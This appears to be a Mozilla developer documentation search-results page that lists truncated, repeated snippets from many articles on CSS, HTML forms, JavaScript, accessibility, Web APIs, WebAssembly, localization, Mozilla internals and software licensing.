ome of the different techniques you can use when designing with grid layout. we will look at an example using grid-template-areas, a typical 12-column flexible grid system, and also a product listing using auto-placement. as you can see from this set of examples, there is often more than one way to achieve the result you want with grid layout. choose the method you find most helpful for the problems that you are solving and the designs that you need to implement. a responsive layout with 1 to 3 fluid columns using grid-template-areas many websites are a variation of this type of layout, with content, sidebars, a header and a footer. in a responsive design, you may want to display the layout as a single column, adding a sidebar at a certain breakpoint and then bring in a three-column layout...
...<a href="">nav 2</a></li> <li><a href="">nav 3</a></li> </ul> </nav> <article class="content"> <h1>main article area</h1> <p>in this layout, we display the areas in source order for any screen less that 500 pixels wide. we go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p> </article> <aside class="side">sidebar</aside> <div class="ad">advertising</div> <footer class="main-footer">the footer</footer> </div> as we are using grid-template-areas to create the layout. outside of any media queries i need to name the areas. we name areas using the grid-area property. .main-head { grid-area: header; } .content { grid-...
...are using grid-template-areas to create the layout. outside of any media queries i need to name the areas. we name areas using the grid-area property. .main-head { grid-area: header; } .content { grid-area: content; } .main-nav { grid-area: nav; } .side { grid-area: sidebar; } .ad { grid-area: ad; } .main-footer { grid-area: footer; } this will not create any layout, however our items now have names we can use to do so. staying outside of any media queries i am now going to set up the layout for the mobile width. here i am keeping everything in source order, trying to avoid any disconnect between the source and display as described in the guide grid layout and accessibility. i have not defined any column or row tracks but this layout dictates a single column, and rows will be ...
...And 15 more matches
<textarea> - HTML: Hypertext Markup Language
Web › HTML › Element › textarea
scrollable. if this attribute is not specified, soft is its default value. styling with css <textarea> is a replaced element — it has intrinsic dimensions, like a raster image. by default, its display value is block. compared to other form elements it is relatively easy to style, with its box model, fonts, color scheme, etc. being easily manipulable using regular css. styling html forms provides some useful tips on styling <textarea>s. baseline inconsistency the html specification doesn't define where the baseline of a <textarea> is, so different browsers set it to different positions. for gecko, the <textarea> baseline is set on the baseline of the first line of the textarea's first line, on another browser it may be set on the bottom of the <textarea> box. don't use vertical...
...on. recommendation browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...area> elements, which can be disabled using background-image: none.opera android full support yessafari ios full support yesnotes full support yesnotes notes unlike other major browsers, a default style of opacity: 0.4 is applied to disabled <textarea> elements.samsung internet android full support yesautocapitalize non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...And 15 more matches
JavaScript modules - JavaScript
« previous this guide gives you all you need to get started with javascript module syntax. a background on modules javascript programs started off pretty small — most of its usage in the early days was to do isolated scripting tasks, providing a bit of interactivity to your web pages where needed, so large scripts were generally not needed. fast forward a few years and we now have complete applications being run in browsers with a lot of javascript, as well as javascript being used in other contexts (node.js, for example). it has therefore made sense in recent years to start thinking about providing mechanisms for splitting javascript programs up into separate modules that can be imported when needed. node.js has had this ability for a long time, and there are a number o...
... the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about. ...
...an having to use a library and do all of that extra client-side processing and extra round trips. ...
...And 15 more matches
Responsive Navigation Patterns - Progressive web apps (PWAs)
often not the optimal way to present information on small screens because of the reduced screen real estate. therefore, it is necessary to consider the presentation of content and ease of navigation for all screen sizes. note: html/css for the corresponding patterns will be available soon. pattern 1: top toggle menu in this pattern, as the screen width is reduced, the top navigation items rearrange until there is not enough space. at that point, some items move from the top navigation to a drop-down menu. in the smallest screen, all navigation items live in a toggle menu, and the user has to tap to expand the toggle menu. you could rank the item priorities to ensure the most important items always appear in the top navigation. pros: one button in header maximizes space for c...
...ce. at that point, some items move from the top navigation to a drop-down menu. in the smallest screen, all navigation items live in a toggle menu, and the user has to tap to expand the toggle menu. you could rank the item priorities to ensure the most important items always appear in the top navigation. ...
...n, all navigation items live in a toggle menu, and the user has to tap to expand the toggle menu. you could rank the item priorities to ensure the most important items always appear in the top navigation. ...
...And 15 more matches
Mozilla release FAQ - Archive of obsolete content
de an irc client. other irc clients can be found at irchelp.org. usenet all newsgroups in the netscape.public.mozilla.* hierarchy. if your news server doesn't carry these, you can use the mozilla news server. (some people receive the newsgroups via a mailing list. take this into consideration when posting things) ftp see the mozilla ftp mirror section for ftp sites under which license terms was mozilla released? mozilla is released under the npl/mpl (netscape/mozilla public licenses) which are in some ways similar to the gnu gpl, and in some ways similar to a bsd-style license. take a look at mozilla.org's npl area for details. what are all of the codenames given to various netscape/mozilla projects? gecko (formerly raptor) is the new html rendering engine in mozilla. it features sp...
...s platform-dependant code. it is more suitable for being embedded in other applications than the previous rendering engine. ...
...sing unix, use bash-family shells for the build because of the better control over redirection (in case you want to log errors and messages) if you are using win32, using the default shell cmd.exe (as opposed to 4dos or 4nt) will probably yield better results. ...
...And 14 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
entity. nonrepudiation prevents the sender of information from claiming at a later date that the information was never sent. the sections that follow introduce the concepts of public-key cryptography that underlie these capabilities. certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication confirms an identity how certificates are used contents of a certificate how ca certificates are used to establish trust a certificate identifies someone or something a certificate is an electronic document used to identify an individual, a server, a company, or some other entity and to associate that identity with a public key. like a driver's license, a passport, or other commonly used personal id...
...person's identity. public-key cryptography uses certificates to address the problem of impersonation. to get a driver's license, you typically apply to a government agency, such as the department of motor vehicles, which verifies your identity, your ability to drive, your address, and other information before issuing the license. to get a student id, you apply to a school or college, which performs different checks (such as whether you have paid your tuition) before issuing the id. to get a library card, you may need to provide only your name and a utility bill with your address on it. certificates work much the same way as any of these familiar forms of identification. certificate authorities (cas) are entities that validate identities and issue certificates. they can be either independen...
...r forms of identification. certificate authorities (cas) are entities that validate identities and issue certificates. they can be either independent third parties or organizations running their own certificate-issuing server software (such as red hat certificate system). the methods used to validate an identity vary depending on the policies of a given ca-just as the methods to validate other forms of identification vary depending on who is issuing the id and the purpose for which it will be used. in general, before issuing a certificate, the ca must use its published verification procedures for that type of certificate to ensure that an entity requesting a certificate is in fact who it claims to be. the certificate issued by the ca binds a particular public key to the name of the entity t...
...And 14 more matches
Mobile accessibility - Learn web development
previous overview: accessibility next with web access on mobile devices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. this article looks at mobile-specific accessibility considerations. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and an understanding of the previous articles in the course. objective: to understand what problems exist with accessibility on mobile devices, and how to overcome them. accessibility on mobile devices the state of accessibility — and support for web standards in general — is good in modern mobile devices. long gone are the days w...
...vices. long gone are the days when mobile devices ran completely different web technologies to desktop browsers, forcing developers to use browser sniffing and serve them completely separate sites (although quite a few companies still detect usage of mobile devices and serve them a separate mobile domain). these days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully. modern mobile browsers tend to have good support for wai-aria, too. to make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices. there are some exceptions that need special consideration for mobile; the main ones are: control mec...
... have screenreaders built in to enable visually impaired users to use them successfully. modern mobile browsers tend to have good support for wai-aria, too. to make a website accessible and usable on mobile, you just need to follow general good web design and accessibility best practices. there are some exceptions that need special consideration for mobile; the main ones are: control mechanisms — make sure interface controls such as buttons are accessible on mobiles (i.e., mainly touchscreen), as well as desktops/laptops (mainly mouse/keyboard). user input — make user input requirements as painless as possible on mobile (e.g., in forms, keep typing to a minimum). responsive design — make sure layouts work on mobile, conserve image download sizes, and think about the provision of...
...And 14 more matches
Your first form - Learn web development
overview: forms next the first article in our series provides you with your very first experience of creating a web form, including designing a simple form, implementing it using the right html form controls and other html elements, adding some very simple styling via css, and describing how data is sent to a server. we'll expand on each of these subtopics in more detail later on in the module. prerequisites: basic computer literacy, and a basic understanding of html. objective: to gain familiarity with what web forms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases. ...
...ata is sent to a server. we'll expand on each of these subtopics in more detail later on in the module. prerequisites: basic computer literacy, and a basic understanding of html. objective: to gain familiarity with what web forms are, what they are used for, how to think about designing them, and the basic html elements you'll need for simple cases. what are web forms? web forms are one of the main points of interaction between a user and a web site or application. forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature). a web...
... and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature). a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms. the controls can be single or multi-line text fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too. form controls can also be programmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted...
...And 14 more matches
Build your own function - Learn web development
to our function, a set of parentheses, and a set of curly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the curly braces. ...
...d a set of curly braces. any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the function goes inside the curly braces. finally, add the following code inside the curly braces: const html = document.queryselector('html'); const panel = document.createelement('div'); panel.setattribute('class', 'msgbox'); html.appendchild(panel); const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); closebtn.onclick = function() { panel.parentnode.removechild(panel); } this is quite a lot of code to go through, so we'll walk you through it bit by bit. the first line uses a dom ap...
... on: const html = document.queryselector('html'); the next section uses another dom api function called document.createelement() to create a <div> element and store a reference to it in a constant called panel. this element will be the outer container of our message box. we then use yet another dom api function called element.setattribute() to set a class attribute on our panel with a value of msgbox. this is to make it easier to style the element — if you look at the css on the page, you'll see that we are using a .msgbox class selector to style the message box and its contents. finally, we call a dom function called node.appendchild() on the html constant we stored earlier, which nests one element inside the other as a child of it. we specify the panel <div> as the child we want to a...
...And 14 more matches
Arrays - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to understand what arrays are and how to manipulate them in javascript. ...
... prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to understand what arrays are and how to manipulate them in javascript. ...
...ngle objects that contain multiple values stored in a list. array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can access each value inside the list individually, and do super useful and efficient things with the list, like loop through it and do the same thing to every value. maybe we've got a series of product items and their prices stored in an array, and we want to loop through them all and print them out on an invoice, while totaling all the prices together and printing out the total price at the bottom. if we didn't have arrays, we'd have to store every item in a separate variable, then call the code that does the printing and adding separately for each item. this would be much longer to write out, less...
...And 14 more matches
Accessibility API cross-reference
accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc. they also define a list of possible object states, such as focused, read-only, checked, etc. an interesting problem is that mozilla, safari/khtml, opera, staroffice and other apps are cross-platform, but there is currently no cross-platform accessibility api. the ipc mechanisms used by current generation api's are also not cross-platform, although communication for some cross-platform accessibility api of the future could be done through sockets. these tables describe how various accessibility apis define possible roles of an object, and states. all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc...
...used in other markup languages (such as svg) and expresses semantics using attributes, compared with html, which tends to have distinct named elements for its roles. for all these reasons, aria and html are given separate columns. aria abstract roles should not be used by content authors. the gnome accessibility architecture is implemented via atk and at-spi, and was implemented by sun microsystems. it will be reused for kde accessibility via at-spi . we find that it uses very similar naming conventions as java accessibility, and for those purposes the two to be nearly the same. however, only about one third of the states and roles in sun's accessibility api's are the same as in msaa. to do fill out mac api column.(mac os x - carbon accessibility api and accessibility constants) finish...
... aria column - add explanation of the term 'abstract role' fill out html column create aom column fill out xul column. ...
...And 14 more matches
Multiprocess on Windows
, single threaded apartments receive remote procedure calls (rpcs) from com, via the windows message queue. from a performance standpoint, this is less than ideal. the windows message queue carries a lot of baggage for the purposes of maintaining backward compatibility. on the other hand, com's multithreaded apartment (mta) uses a much faster ipc mechanism that does not suffer from the same problems as the message queue. ideally, we would like to receive rpcs via threads in the mta, and then forward them in a thread-safe way to gecko's main thread. unfortunately, crossing apartment boundaries using com incurs the exact same problem as crossing process boundaries: if we directly use com's built in marshaling capabilities to forward an rpc from the mta to the main thread sta, com will still us...
...ts which implement the same interfaces as the object that they are wrapping. when an incoming rpc invokes a method on an interceptor, the interceptor dispatches a callback that allows us to do whatever we want with that request. our callback implementation forwards the method call to the main thread in order to invoke the method on the wrapped object. the interceptor is also aware that any outparams, which contain interfaces, must also be wrapped with interceptors of their own. this code lives in the mscom library, located in the tree at /ipc/mscom. its headers are exported to mozilla/mscom. ensuring that the interceptor supports your interfaces this information is current, but is likely to change when bug 1346957 is landed. interceptors cannot replicate interfaces without access to th...
...ver, for various reasons, our com interceptor currently only supports typelib metadata. in order for the interceptor to be able to work with our interfaces, we must do some additional work to compensate for typelib's weaknesses. the required steps are as follows: ensure that you generate typelibs for all of your com interfaces; ensure that those interfaces are registered; register any outparams that consist of arrays of interfaces. we will now further detail each of these items: generating typelibs for all com interfaces you first need to include a library statement in your idl. when midl processes your idl, it generates c code for building a proxy dll, containing the oicf metadata. it also will output a file with the .tlb extension. this file contains the typelib metadata. both met...
...And 14 more matches
Localization content best practices
're a localizer and you want to contribute to the localization of mozilla products, you might want to read our localization quick start guide for information on localizing mozilla code. note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems. it's important to consider this when adding strings, and especially localization comments for strings that contain references, or obscure technical details. localization files choose good key ids the ids (names) chosen for your keys, regardless of the file format, should always be descriptive of the string, and its role in the interface (button label, title, etc.). t...
...a new event don't duplicate ids if you're adding new strings, check that you're not duplicating an existing id. depending on the parser logic, one of these two translations will be ignored. add localization notes localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add comments to the localizable files themselves, too. these comments are generally referred to as localization notes. don't forget to add a localization note when: part of the string is not supposed to be localized (for example, the name of an html attribute in a warning). string includes variables: always explain what will be the value of these variables at run-time. english could be ambiguous. for example: bookmark. is this a noun...
...name): {{privacy}} will be replaced at run-time by an active link. the string 'privacy-link' will be used as text for this link. --> properties files # localization note(privacy-text): {{privacy}} will be replaced at run-time by an # active link. the string 'privacy-link' will be used as text for this link. privacy-text = by proceeding you accept the {{privacy}}. privacy-link = privacy terms file-wide comments should use the same format, they should be at the top of the file (after the license header) and just drop the (entity name/key) reference. land good quality strings don't land temporary strings. if you already know that your strings are temporary, they shouldn't be exposed to the localization process. this would waste everybody's time and create unnecessary frustration: ...
...And 14 more matches
Index
t optimization strategies junk, spidermonkey spidermonkey's optimizing jit, ionmonkey, uses various strategies to optimize operations. the most commonplace operations that are relevant for fast program execution are property accesses and function calls. 15 jsapi cookbook spidermonkey this article shows the jsapi equivalent for a tiny handful of common javascript idioms. 16 jsapi user guide jsapi, spidermonkey this document explains how to embed spidermonkey, the mozilla javascript engine, in your c++ program. 17 jsapi reference needscontent, spidermonkey js::deflatestringtoutf8buffer 18 boolean_to_jsval jsapi reference, obsolete, spidermonkey boolean_to_jsval converts a bool argument, b, to a boolea...
...ectorrooter<t> holds a variable-size rooted array of type t. 27 js::booleanvalue jsapi reference, reference, référence(2), spidermonkey js::booleanvalue converts a c boolean of type bool to js::value, the type of javascript values. 28 js::call jsapi reference, reference, spidermonkey js::call calls a specified function, fun, on an object, thisobj. in terms of function execution, the object is treated as this. 29 js::callargs jsapi reference, reference, référence(2), spidermonkey js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. 30 js::clonefunctionobject jsapi reference, reference, référence(2), spidermonkey js::clonefunctiono...
...of javascript values. 51 js::iscallable jsapi reference, reference, référence(2), spidermonkey js::iscallable returns whether the given function object is callable. 52 js::mutablehandle jsapi reference, reference, référence(2), spidermonkey here, ptr represents the private member of js::mutablehandle<t>, typed with t *. 53 js::newfunctionfromspec jsapi reference, reference, référence(2), spidermonkey js::newfunctionfromspec creates a new function based on the given jsfunctionspec, *fs. id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id). 54 js::nullhandlevalue jsapi reference, reference, référence(2), spidermonkey js::nullhandlevalue is a js::handlevalue constant...
...And 14 more matches
nsIDOMWindowInternal
tes are well documented in window, those articles are linked to rather than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in previous versions, all parameters were required. ...
...icles are linked to rather than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in previous versions, all parameters were required. ...
...r than re-documented. however, they are not guaranteed to document all available arguments (i.e. see window.prompt). method overview firefox 3.5 note the prompt() and find() methods changed in firefox 3.5 to make all their parameters optional; in previous versions, all parameters were required. ...
...And 14 more matches
Creating a gloda message query
add the constraint that the message date (per the message's date header) must fall within one of the specified inclusive ranges. the date instances are javascript date instances. query.folder(folder1, folder2, ...): add the constraint that the message must be found in one of the specified folders. the folder may be a glodafolder instance (retrieved via gloda.getfolderforfolder, which takes an nsimsgfolder) or an nsimsgfolder instance. query.conversation(conversation1, conversation2, ...): add the constraint that the message must belong to one of the specified conversations. the conversation must be a glodaconversation instance. you find these by first finding a message and then accessing its "conversation" attribute. query.tags(tag1, tag2, tag3, ...): add the constraint that the message ...
...nce. query.conversation(conversation1, conversation2, ...): add the constraint that the message must belong to one of the specified conversations. the conversation must be a glodaconversation instance. you find these by first finding a message and then accessing its "conversation" attribute. query.tags(tag1, tag2, tag3, ...): add the constraint that the message must have one of the provided nsimsgtag tags applied. (use nsimsgtagservice to access message tags.) query.starred(true/false): add the constraint that the message must be (or not be) starred (flagged). query.read(true/false): add the constraint that the message must be (or not be) marked as read. query.bodymatches(searchstring): perform a full-text search against plaintext message bodies. query.attachmenttypes(mimetype1, mime...
...es(mimetype1, mimetype2, ...): constrain to messages with attachments among the given mime types. in theory, providing no arguments should result in finding messages with any attachment, but this is somewhat untested. more constraints can be found in the three js files given further below. from https://developer.mozilla.org/docs/mozilla/thunderbird/thunderbird_extensions/demo_addon, demo3, it seems that the attributename given in these files is the constraintname to be used (e.g. query.subjectmatches(searchstring) for message subject (compare fundattr.js line 145 ). create a collection from the query your listener is notified as messages are added to the collection as the database query completes. you may also see new messages show up if new messages are indexed that meet the constrai...
...And 14 more matches
Standard OS Libraries
ws you to find out what types to give to values/arguments by supplying links to the documentation of the os libraries. windows windows has many standard os libraries. the most common, found on all windows os version, is "winapi". windows also has the "winapilists" and ".net framework" (i'm not sure if it can be accessed jsctypes but probably). a complete list of windows apis can be found at the msdn api index. winapi this is the one that is most commonly used by js-ctypes. this comes shipped by default with all installations of windows operating systems since win98. it's also known as winapi32 or just winapi. a list of all the functions available through this api can be found at the msdn winapi index. for finding out the values and types of arguments and returns of the functions you want...
...ctypes. this comes shipped by default with all installations of windows operating systems since win98. it's also known as winapi32 or just winapi. a list of all the functions available through this api can be found at the msdn winapi index. for finding out the values and types of arguments and returns of the functions you want to use from this api, you must visit the functions page on this linked msdn site; it will give you all that information. example: getcursorpos i wanted to get the mouse cursor position without using a mousemove listener, as this is a high overhead event listener. so i went to the msdn winapi index page and then went to the "cursors" category and came across getcursorpos. ...
...t to use from this api, you must visit the functions page on this linked msdn site; it will give you all that information. example: getcursorpos i wanted to get the mouse cursor position without using a mousemove listener, as this is a high overhead event listener. so i went to the msdn winapi index page and then went to the "cursors" category and came across getcursorpos. i then searched it on msdn and saw that it needed the user32.dll. (msdn - getcursorpos) this example was created on windows xp sp2. it is a full working example; just copy & paste it to try it out. ...
...And 14 more matches
ByteLengthQueuingStrategy - Web APIs
the bytelengthqueuingstrategy interface of the the streams api provides a built-in byte length queuing strategy that can be used when constructing streams. constructor bytelengthqueuingstrategy() creates a new bytelengthqueuingstrategy object instance. properties none. methods bytelengthqueuingstrategy.size() returns the given chunk’s bytelength property. examples const queueingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ... }, pull(controller) { ... ...
...examples const queueingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ... }, pull(controller) { ... }, cancel(err) { console.log("stream error:", err); } }, queueingstrategy); var size = queueingstrategy.size(chunk); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafa...
...d initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 14 more matches
IDBIndex - Web APIs
Web › API › IDBIndex
n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitcountchrome full support 24 full support 24 ...
... no support ? ...
...And 14 more matches
Microsoft API extensions - Web APIs
microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard dom apis. these extensions are prefixed with ms or ms. note: these apis will only work in microsoft applications, and are not on a standards track. ...
... microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard dom apis. these extensions are prefixed with ms or ms. note: these apis will only work in microsoft applications, and are not on a standards track. ...
... microsoft browsers (internet explorer, and in a few cases, microsoft edge) support a number of special microsoft extensions to the otherwise standard dom apis. these extensions are prefixed with ms or ms. note: these apis will only work in microsoft applications, and are not on a standards track. ...
...And 14 more matches
Web APIs
Web › API
stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration ...
...tionsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available. ...
...o apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces this is a list of all the interfaces (that is, types of objects) that are available. ...
...And 14 more matches
font-variant - CSS: Cascading Style Sheets
mmon-lig-values>, <discretionary-lig-values>, <historical-lig-values>, <contextual-alt-values> specifies the keywords related to the font-variant-ligatures longhand property. the possible values are: common-ligatures, no-common-ligatures, discretionary-ligatures, no-discretionary-ligatures, historical-ligatures, no-historical-ligatures, contextual, and no-contextual. stylistic(), historical-forms, styleset(), character-variant(), swash(), ornaments(), annotation() specifies the keywords and functions related to the font-variant-alternates longhand property. small-caps, all-small-caps, petite-caps, all-petite-caps, unicase, titling-caps specifies the keywords and functions related to the font-variant-caps longhand property. <numeric-figure-values>, <numeric-spacing-values>, <numeric-fr...
...and property. small-caps, all-small-caps, petite-caps, all-petite-caps, unicase, titling-caps specifies the keywords and functions related to the font-variant-caps longhand property. <numeric-figure-values>, <numeric-spacing-values>, <numeric-fraction-values>, ordinal, slashed-zero specifies the keywords related to the font-variant-numeric longhand property. the possible values are: lining-nums, oldstyle-nums, proportional-nums, tabular-nums, diagonal-fractions, stacked-fractions, ordinal, and slashed-zero. <east-asian-variant-values>, <east-asian-width-values>, ruby specifies the keywords related to the font-variant-east-asian longhand property. the possible values are: jis78, jis83, jis90, jis04, simplified, traditional, full-width, proportional-width, ruby. formal definition ini...
...ull-width, proportional-width, ruby. formal definition initial valuenormalapplies toall elements. ...
...And 14 more matches
justify-content - CSS: Cascading Style Sheets
the interactive example below demonstrates some of the values using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...se clone https://github.com/mdn/interactive-examples and send us a pull request. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
... a pull request. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. ...
...And 14 more matches
Web audio codec guide - Web media technologies
he encoder is configured to reduce the sample rate, the sample rate's effect on the output file will be reduced in kind. for more information about these and other features of audio data, see audio data format and structure in digital audio concepts. the effect of codec configuration on encoded audio output audio codecs typically employ cleverly-designed and highly-complex mathematical algorithms to take source audio data and compress it to take substantially less space in memory or network bandwidth. in addition to choosing the type of encoder to use, you may have the opportunity to adjust the encoder using parameters that choose specific algorithms, tune those algorithms, and specify how many passes to apply while encoding. audio encoder configuration effects on quality and size ...
...entation that comes with the encoding software you use to learn more. features affecting encoded audio size several factors affect the size of the encoded audio. some of these are a matter of the form of the source audio; others are related to decisions made while encoding the audio. lossless versus lossy codecs there are two basic categories of audio compression. lossless compression algorithms reduce the size of the audio without compromising the quality or fidelity of the sound. upon decoding audio compressed with a lossless codec such as flac or alac, the result is identical in every way to the original sound, down to the bit. lossy codecs, on the other hand, take advantage of the fact that the human ear is not a perfect interpreter of audio, and of the fact that the human brain can...
...ncies that aren't used much, tolerate loss of precision in the decoded output, and use other methods to lose audio content, quality, and fidelity to produce smaller encoded media. upon decoding, the output is, to varying degrees, still understandable. the specific codec used—and the compression configuration selected—determine how close to the original, uncompressed audio signal the output seems to be when heard by the human ear. because of the differences in how lossy codecs work compared to lossless ones, especially the fact that lossless ones have to be much more conservative with their compression, lossy codecs nearly always result in significantly smaller compressed audio than lossless codecs do. generally speaking, the most common reasons to choose lossless audio are because you ...
...And 14 more matches
WebAssembly
with active participation from all major browser vendors. guides webassembly concepts get started by reading the high-level concepts behind webassembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it. compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like emscripten. let’s look at how it works. compiling an existing c module to webassembly a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. compiling from rust to webassembly if you've written some rust code, you can compile it into webassembly! this tutorial takes you through all you need to know to compile a rust project ...
...nce. webassembly.table() a webassembly.table object is a resizable typed array of opaque values, like function references, that are accessed by an instance. webassembly.compileerror() creates a new webassembly compileerror object. webassembly.linkerror() creates a new webassembly linkerror object. webassembly.runtimeerror() creates a new webassembly runtimeerror object. examples wasmsobel see our webassembly-examples repo for a number of other examples. specifications specification status comment webassembly javascript interface working draft initial draft definition of the javascript api. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please ch...
...the javascript api. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...And 14 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
nses and what are their key characteristics? applying an oss license oss licensing today and in the future references what is an oss license? an open-source software license is a statement that anyone is free to use your source code in whatever way they want. the open source definition states what conditions the oss license must satisfy. perhaps surprisingly, these licenses enforce their terms through the exercise of copyright. understanding copyright all software licenses, not just open source, enforce their terms based on copyright. it’s easiest to understand if we think of it as being implemented in terms of the copyright framework. about copyright to put it very broadly, copyright is a creator’s right to decide how a work is published and how it is used. in countries that a...
...ation: modifying the software a typical software license will grant these permissions in return for a fee, and will still restrict some normally unrestricted uses. the software that microsoft sells, such as windows, comes with a license that permits only limited duplication in exchange for a fee, so, although customers can install it on their computers, they cannot modify it. and essential freedoms, such as reverse-engineering, are also restricted. this use permit is displayed when you install the software. when the user clicks “i agree,” the installation process finishes. software range of uses restricted to author unrestricted software license >> usable within permitted scope restricted use within permitted scope ...
...penoffice.org modified bsd license this license permits free duplication, distribution, and modification provided that a copyright statement and liability disclaimer are included. modifications to bsd-licensed software can be published under commercial licenses or other different licenses. this is often just called the bsd license. the mit/x11 license is similar in substance. license terms this license has the following simple terms. it’s short, so read it carefully. <program name> copyright (c) <year>, <copyright holder> all rights reserved. 1. redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. redistributions of source code must retain the above copyright notice, thi...
...And 13 more matches
Mozilla Crypto FAQ - Archive of obsolete content
n the rsa public key algorithm. in february 2000 iplanet e-commerce solutions (a sun-netscape alliance) released source code through mozilla.org for the personal security manager and network security services software; this source code included support for the ssl protocol, but due to the rsa patent and related legal issues it did not originally contain code for rsa or other cryptographic algorithms. ...
... this new rsa-capable version of nss will then be included in a future version of the open source psm software, which will provide ssl support for mozilla. ...
...n the mozilla binary releases distributed by mozilla.org. for more information on the rsa patent see the rsa security press release announcing release of the patent into the public domain, and the rsa patent itself. for information on new us encryption export regulations, see the u.s. department of commerce press release announcing the new regulations as well as the updated regulations (pdf) themselves. export of source code for open source software is addressed in part 740 (pdf), section 740.13(e), "unrestricted encryption source code"; export of binaries is addressed in 740.17. (you may also be interested in a more in-depth analysis of the new regulations, with an emphasis on how they affect open source software.) for more information on the ssl, s/mime, pki, and other crypto source co...
...And 13 more matches
Command line crash course - Learn web development
